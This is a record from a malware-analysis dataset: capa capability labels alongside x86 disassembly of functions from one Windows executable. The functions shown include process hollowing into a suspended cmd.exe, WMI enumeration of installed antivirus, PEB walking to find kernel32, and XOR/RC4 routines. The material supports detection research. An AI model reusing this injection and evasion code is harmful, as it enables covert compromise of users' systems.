joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406963
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
sub esp, 0xc
mov dword [ebp - 0x8d8], eax
lea eax, [ebp + 0xc]
mov esi, esp
call fcn.00410519
lea eax, [ebp - 0x980]
push eax
call fcn.00404ab6
add esp, 0x10
push 0xf
pop ecx
mov esi, eax
lea edi, [ebp - 0x944]
rep movsd dword es:[edi], dword [esi]
push 0x436997
lea esi, [ebp - 0x8f8]
call fcn.004104e7
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [ebp + 0x18]
call dword [0x65e4dc]
push dword [0x65e1ac]
mov dword [ebp - 0x8dc], eax
push dword [ebp - 0x940]
xor esi, esi
call dword [0x65e5b8]
test eax, eax
jne 0x4069ea
inc esi
cmp dword [ebp - 0x8dc], ebx
je 0x406b6e
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x92c]
push dword [ebp - 0x934]
push dword [ebp - 0x8dc]
call dword [0x65e5dc]
mov dword [ebp - 0x8e8], eax
cmp eax, ebx
je 0x406b62
mov eax, esi
neg eax
push ebx
sbb eax, eax
and eax, 0x800000
add eax, 0x400100
push eax
push ebx
push ebx
push dword [0x65dff8]
push dword [ebp - 0x918]
push 0x4378ec
push dword [ebp - 0x8e8]
call dword [0x65e61c]
mov edi, eax
mov dword [ebp - 0x8e0], edi
cmp edi, ebx
je 0x406b56
cmp esi, ebx
je 0x406a83
or dword [ebp - 0x8ec], 0x10300
push 4
lea eax, [ebp - 0x8ec]
push eax
push 0x1f
push edi
call dword [0x65e3d4]
push ebx
push ebx
push ebx
push ebx
push edi
call dword [0x65e5a4]
push ebx
mov esi, eax
lea eax, [ebp - 0x8fc]
push eax
lea eax, [ebp - 0x104]
push eax
push 0x13
push edi
mov dword [ebp - 0x8fc], 0x100
call dword [0x65e634]
test eax, eax
jne 0x406acb
push 0x4378f0
mov esi, dword [ebp - 0x8d8]
call fcn.004104e7
jmp 0x406b7f
lea edx, [ebp - 0x104]
call fcn.00411afd
cmp eax, 0xc8
jne 0x406bab
cmp esi, ebx
je 0x406b4a
mov edi, 0x7cf
jmp 0x406b2b
mov eax, dword [ebp - 0x8e4]
cmp eax, ebx
je 0x406b4a
mov byte [ebp + eax - 0x8d4], bl
lea eax, [ebp - 0x8d4]
push eax
lea esi, [ebp - 0x908]
lea eax, [ebp - 0x8f8]
call fcn.00410609
lea esi, [ebp - 0x8f8]
call fcn.0041058d
mov eax, dword [ebp - 0x908]
call fcn.00402920
lea eax, [ebp - 0x8e4]
push eax
push edi
lea eax, [ebp - 0x8d4]
push eax
push dword [ebp - 0x8e0]
call dword [0x65e504]
test eax, eax
jne 0x406aec
push dword [ebp - 0x8e0]
call dword [0x65e4d8]
push dword [ebp - 0x8e8]
call dword [0x65e4d8]
push dword [ebp - 0x8dc]
call dword [0x65e4d8]
mov esi, dword [ebp - 0x8d8]
lea eax, [ebp - 0x8f8]
call fcn.00410519
mov eax, dword [ebp - 0x8f8]
call fcn.00402920
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 0x18]
call fcn.00402920
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d12a
leave
ret
push str.ERROR
jmp 0x406abb
Function at 0x40f54a
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 0x3c]
xor ebx, ebx
add esi, eax
mov dword [ebp - 0x14], ebx
xor eax, eax
cmp dword [esi], 0x4550
push edi
jne 0x40f610
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x44
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00423d30
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
pop edi
push edi
push 1
push ebx
push ebx
push 0x4365a7
push str.C:WindowsSystem32cmd.exe
call dword [0x65e488]
test eax, eax
je 0x40f60e
push edi
push 0x1000
push edi
push ebx
call dword [0x65e544]
mov ebx, eax
push ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f60e
push 0
push edi
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
jne 0x40f615
push dword [ebp - 0x20]
call dword [0x65e5f8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push dword [esi + 0x54]
push dword [ebp + 8]
push eax
push dword [ebp - 0x24]
call edi
and dword [ebp - 0xc], 0
xor eax, eax
cmp ax, word [esi + 6]
jae 0x40f66f
and dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 8]
push 0
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x10]
add edx, ecx
push edx
push eax
push dword [ebp - 0x24]
call edi
movzx eax, word [esi + 6]
inc dword [ebp - 0xc]
add dword [ebp - 8], 0x28
cmp dword [ebp - 0xc], eax
jl 0x40f638
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call edi
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [0x65e5f8]
mov eax, dword [ebp - 0x1c]
jmp 0x40f610
Function at 0x411807
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x4c
mov eax, 0x42f335
call fcn.0042f229
mov esi, ecx
mov dword [ebp - 0x3c], esi
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x30], edi
lea eax, [ebp - 0x30]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
lea edx, [ebp - 0x28]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.ROOTCIMV2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411971
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x28]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
lea edx, [ebp - 0x34]
push edx
push edi
push 0x20
push str.Select__From_Win32_OperatingSystem
push 0x436f38
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x41196a
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x38], edi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x411964
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2c]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x38], edi
je 0x411964
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x58]
push edx
push edi
push str.InstallDate
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x50]
lea ecx, [ebp - 0x44]
call fcn.00411757
pop ecx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x104
push edi
call dword [0x65e5e8]
push eax
call dword [0x65e578]
mov edi, eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
movzx eax, word [ebp - 0x24]
push eax
movzx eax, word [ebp - 0x22]
push eax
movzx eax, word [ebp - 0x1e]
push eax
push str._d__d__d__d:_d:_d
push edi
call dword [0x65e3f8]
add esp, 0x20
push edi
call fcn.004104e7
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x41198f
or dword [ebp - 4], 0xffffffff
jmp 0x411985
push 0x436f6c
jmp 0x41198a
push 0x436f74
jmp 0x41198a
push 0x436f7c
call fcn.004104e7
mov eax, esi
call fcn.0042f285
ret
Function at 0x411997
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push 0x30
mov eax, 0x42f31a
call fcn.0042f1bd
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], edi
push edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
push edi
push 3
push edi
push edi
push edi
push 0xffffffffffffffff
push edi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [ebp - 0x1c], edi
lea eax, [ebp - 0x1c]
push eax
push 0x432e30
push 1
push edi
push 0x432f00
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push edi
push edi
push edi
push edi
push edi
push edi
push str.rootSecurityCenter2
push eax
call dword [ecx + 0xc]
test eax, eax
js 0x411aa0
push edi
push edi
push 3
push 3
push edi
push edi
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
lea edx, [ebp - 0x20]
push edx
push edi
push 0x20
push str.Select__From_AntiVirusProduct
push 0x436ff0
push eax
call dword [ecx + 0x50]
test eax, eax
js 0x411a99
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x411a93
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
lea edx, [ebp - 0x28]
push edx
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
cmp dword [ebp - 0x24], edi
je 0x411a93
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
push edi
push edi
lea edx, [ebp - 0x3c]
push edx
push edi
push str.displayName
push eax
call dword [ecx + 0x10]
push dword [ebp - 0x34]
call fcn.00411d42
pop ecx
push eax
call fcn.004104e7
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x411abe
or dword [ebp - 4], 0xffffffff
jmp 0x411ab4
push 0x437010
jmp 0x411ab9
push 0x437018
jmp 0x411ab9
push str.Unknown
call fcn.004104e7
mov eax, esi
call fcn.0042f262
ret

Function at 0x412541
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x20]
mov ecx, 0x414
push eax
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x14], 0x436702
mov word [ebp - 0x10], cx
mov dword [ebp - 6], 0x436703
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
leave
ret
Function at 0x412bf0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
sub esp, 0xc
mov esi, esp
push 0x4365a5
call fcn.004104e7
sub esp, 0xc
lea eax, [ebp + 8]
mov esi, esp
call fcn.00410519
call fcn.00405237
add esp, 0x18
cmp dword [ebp + 0x14], 0
mov esi, eax
mov dword [ebp - 4], edx
je 0x412d59
push 0x4365a6
lea esi, [ebp - 0xc]
call fcn.004104e7
push str..exe
push 6
pop ebx
lea edi, [ebp - 0x18]
call fcn.00411c4a
push 0x436704
push dword [0x65e1d0]
mov edi, eax
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea esi, [ebp - 0x30]
call fcn.00410609
lea esi, [ebp - 0x48]
call fcn.004105c7
lea esi, [ebp - 0x3c]
call fcn.00410609
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x3c]
call fcn.00402920
mov eax, dword [ebp - 0x48]
call fcn.00402920
mov eax, dword [ebp - 0x30]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
mov eax, dword [ebp - 0x18]
call fcn.00402920
push 0x1c00
push 0x43dcd8
sub esp, 0xc
mov eax, esi
mov esi, esp
call fcn.00410519
call fcn.00412446
xor eax, eax
lea edi, [ebp - 0x58]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
push 0x44
stosd dword es:[edi], eax
xor ebx, ebx
lea eax, [ebp - 0xa0]
push ebx
push eax
call fcn.00423d30
add esp, 0xc
push 0x436710
lea esi, [ebp - 0x24]
lea eax, [ebp - 0xc]
call fcn.00410609
lea edi, [ebp + 8]
lea esi, [ebp - 0x18]
call fcn.004105c7
lea esi, [ebp - 0xc]
call fcn.0041058d
mov eax, dword [ebp - 0x18]
call fcn.00402920
mov eax, dword [ebp - 0x24]
call fcn.00402920
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0xc]
call fcn.00402920
xor edi, edi
inc edi
lea esi, [ebp + 0x18]
call fcn.00401cde
mov eax, dword [ebp + 8]
call fcn.00402920
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
xor edi, edi
push esi
call fcn.0040f54a
pop ecx
test eax, eax
jne 0x412d3f
inc edi
cmp edi, 0x64
jl 0x412d5b
xor edi, edi
jmp 0x412d42
Function at 0x415142
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x43d078]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x436a30
push dword [ebp + 0x80]
mov dword [ebp - 0x474], eax
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x470], ebx
call dword [0x65e514]
xor esi, esi
inc esi
test eax, eax
je 0x41518e
mov dword [ebp - 0x460], esi
push ebx
push 0x436a40
push dword [ebp + 0x80]
call dword [0x65e514]
test eax, eax
je 0x4151b0
mov dword [ebp - 0x460], esi
mov dword [ebp - 0x470], esi
cmp dword [ebp - 0x460], ebx
je 0x4152d8
lea eax, [ebp - 0x74]
push eax
push 0x64
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x74]
cmp byte [ebp - 0x74], bl
je 0x415348
jmp 0x4151d8
xor ebx, ebx
push 0x3e8
lea eax, [ebp - 0x45c]
push ebx
push eax
call fcn.00423d30
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp dword [ebp - 0x470], ebx
je 0x41521c
cmp eax, 2
jne 0x41521c
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
push esi
push str._DRIVE_REMOVABLE_
jmp 0x415235
push dword [ebp + 0x80]
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
push esi
push str._DRIVE_FIXED_
lea eax, [ebp - 0x45c]
call fcn.0041210e
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [0x65e630]
mov eax, dword [ebp + 0x8c]
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x468], eax
call fcn.00401cfd
xor ebx, ebx
push ebx
push dword [ebp + 0xa4]
lea eax, [ebp - 0x45c]
push dword [ebp - 0x460]
push dword [ebp + 0x9c]
push ebx
push dword [ebp + 0x98]
push dword [ebp - 0x46c]
push eax
push dword [ebp - 0x464]
push 0x43661e
push dword [ebp - 0x468]
call fcn.00414cc8
add esp, 0x94
push esi
call dword [0x65e49c]
lea esi, [esi + eax + 1]
cmp byte [esi], bl
jne 0x4151d6
jmp 0x415346
mov eax, dword [ebp + 0x80]
mov esi, dword [ebp + 0x8c]
mov dword [ebp - 0x468], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp + 0xa8]
sub esp, 0x68
lea ebx, [ebp + 0xc]
mov edi, esp
mov dword [ebp - 0x46c], eax
call fcn.00401cfd
xor eax, eax
push eax
push dword [ebp + 0xa4]
push eax
push dword [ebp + 0x9c]
push eax
push dword [ebp + 0x98]
push esi
push dword [ebp - 0x468]
push dword [ebp - 0x464]
push 0x43661f
push dword [ebp - 0x46c]
call fcn.00414cc8
add esp, 0x94
xor ebx, ebx
mov eax, dword [ebp - 0x474]
lea esi, [ebp + 0xc]
mov dword [eax], ebx
call fcn.00401cde
lea ecx, [ebp + 0x74]
call fcn.0041536f
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041d12a
leave
ret
Function at 0x416fa7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
push edi
lea eax, [ebp - 0x48]
call fcn.00417080
test byte [0x65e3c8], 1
mov eax, dword [ebp + 0x40]
je 0x416fc6
mov eax, dword [ebp + 0x44]
mov dword [ebp - 0x48], eax
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x20]
call fcn.0041058d
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp + 0x48]
lea esi, [ebp - 0x44]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
call fcn.0041058d
lea eax, [ebp + 0x1c]
lea esi, [ebp - 0x38]
call fcn.0041058d
lea eax, [ebp + 0x28]
lea esi, [ebp - 0x2c]
call fcn.0041058d
mov esi, 0x3e8
jmp 0x417014
push esi
call dword [0x65e410]
cmp dword [0x65e3c8], 2
jae 0x41700d
inc dword [0x65e3c8]
cmp dword [0x65e3c0], edi
je 0x417039
mov ecx, dword [ebp + 0x18]
push ebx
push dword [ebp + 0xc]
call fcn.0041cddb
pop ecx
pop ecx
push edi
push edi
lea eax, [ebp - 0x48]
push eax
push 0x416ed6
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [ebp + 8]
push 0x4366b6
call fcn.004104e7
lea esi, [ebp - 0x48]
call fcn.004170a7
lea esi, [ebp + 0x1c]
call fcn.00401cde
mov eax, dword [ebp + 0xc]
call fcn.00402920
mov eax, dword [ebp + 8]
pop edi
pop esi
leave
ret
Function at 0x4186aa
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret

Function at 0x41a701
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41a72f
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.00423d30
mov eax, ebx
movzx ecx, word [eax*8 + 0x436142]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x436140]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x436144]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x436146]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41a792
mov eax, dword [ebp + 8]
or word [eax], 4
jmp 0x41a79e
cmp ebx, 8
jl 0x41a79e
mov eax, dword [ebp + 8]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41a803
cmp eax, 0xffffffff
je 0x41a803
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41a7de
call fcn.0041a959
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41a7e6
jmp 0x41a813
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x41aa6a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x6af80], 2
cmp dword [esi + 0x6af90], ebx
je 0x41ac68
push edi
mov edi, 0x7fff
cmp dword [esi + 0x6af90], 3
jb 0x41aae4
mov ecx, dword [esi + 0x6af84]
movzx eax, byte [ecx + esi + 0x1af72]
mov edx, dword [esi + 0x6af7c]
shl edx, 5
xor eax, edx
and eax, edi
mov dword [esi + 0x6af7c], eax
mov eax, dword [esi + eax*4 + 0x4af70]
and ecx, edi
mov dword [esi + ecx*4 + 0x2af70], eax
mov ecx, dword [esi + 0x6af84]
mov dword [ebp - 4], eax
mov eax, dword [esi + 0x6af7c]
mov dword [esi + eax*4 + 0x4af70], ecx
cmp dword [ebp - 4], 0
je 0x41ab27
mov eax, dword [esi + 0x6af84]
sub eax, dword [ebp - 4]
cmp eax, 0x7efa
ja 0x41ab27
mov ecx, dword [esi + 0x6af90]
cmp dword [esi + 0x6afa0], ecx
jbe 0x41ab0e
mov dword [esi + 0x6afa0], ecx
push dword [ebp - 4]
mov edx, esi
call fcn.0041a818
mov ebx, eax
mov eax, dword [esi + 0x6af90]
pop ecx
cmp ebx, eax
jbe 0x41ab27
mov ebx, eax
cmp ebx, 3
jb 0x41abe8
mov edx, dword [esi + 0x6af84]
sub edx, dword [esi + 0x6af88]
lea ecx, [ebx - 3]
mov eax, esi
call fcn.0041a19f
sub dword [esi + 0x6af90], ebx
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x6af90]
cmp ebx, dword [esi + 0x6af98]
ja 0x41abb5
cmp eax, 3
jb 0x41abb5
dec ebx
inc dword [esi + 0x6af84]
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [esi + edx + 0x1af72]
mov eax, dword [esi + 0x6af7c]
shl eax, 5
xor ecx, eax
and ecx, edi
mov dword [esi + 0x6af7c], ecx
mov ecx, dword [esi + ecx*4 + 0x4af70]
and edx, edi
dec ebx
mov dword [esi + edx*4 + 0x2af70], ecx
mov eax, dword [esi + 0x6af7c]
mov dword [ebp - 4], ecx
mov ecx, dword [esi + 0x6af84]
mov dword [esi + eax*4 + 0x4af70], ecx
jne 0x41ab63
jmp 0x41ac08
add dword [esi + 0x6af84], ebx
mov edx, dword [esi + 0x6af84]
movzx ecx, byte [edx + esi + 0x1af70]
mov dword [esi + 0x6af7c], ecx
movzx edx, byte [edx + esi + 0x1af71]
shl ecx, 5
xor edx, ecx
xor ebx, ebx
and edx, edi
mov dword [esi + 0x6af7c], edx
jmp 0x41ac0e
mov eax, dword [esi + 0x6af84]
movzx ecx, byte [eax + esi + 0x1af70]
xor edx, edx
mov eax, esi
call fcn.0041a19f
dec dword [esi + 0x6af90]
mov dword [ebp - 8], eax
inc dword [esi + 0x6af84]
cmp dword [ebp - 8], 0
je 0x41ac49
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41ac27
lea edx, [ecx + esi + 0x1af70]
jmp 0x41ac29
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 0
sub eax, ecx
push edx
mov ecx, esi
call fcn.0041a022
mov eax, dword [esi + 0x6af84]
pop ecx
pop ecx
mov dword [esi + 0x6af74], eax
cmp dword [esi + 0x6af90], 0x106
jae 0x41ac5a
call fcn.0041a959
cmp dword [esi + 0x6af90], 0
jne 0x41aa94
pop edi
mov ecx, dword [esi + 0x6af74]
test ecx, ecx
js 0x41ac7b
lea edx, [ecx + esi + 0x1af70]
jmp 0x41ac7d
xor edx, edx
mov eax, dword [esi + 0x6af84]
push 1
sub eax, ecx
push edx
mov ecx, esi
call fcn.0041a022
pop ecx
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x41b825
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x41b830
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x41b8e4
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x436190]
add ecx, 8
sub edi, 8
dec esi
jne 0x41b847
pop ebx
test edi, edi
je 0x41b8fd
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x436190]
inc ecx
dec edi
jne 0x41b8e8
pop esi
not eax
pop edi
ret

Function at 0x41b902
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x436190]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x436190]
pop esi
mov dword [ecx + 8], eax
ret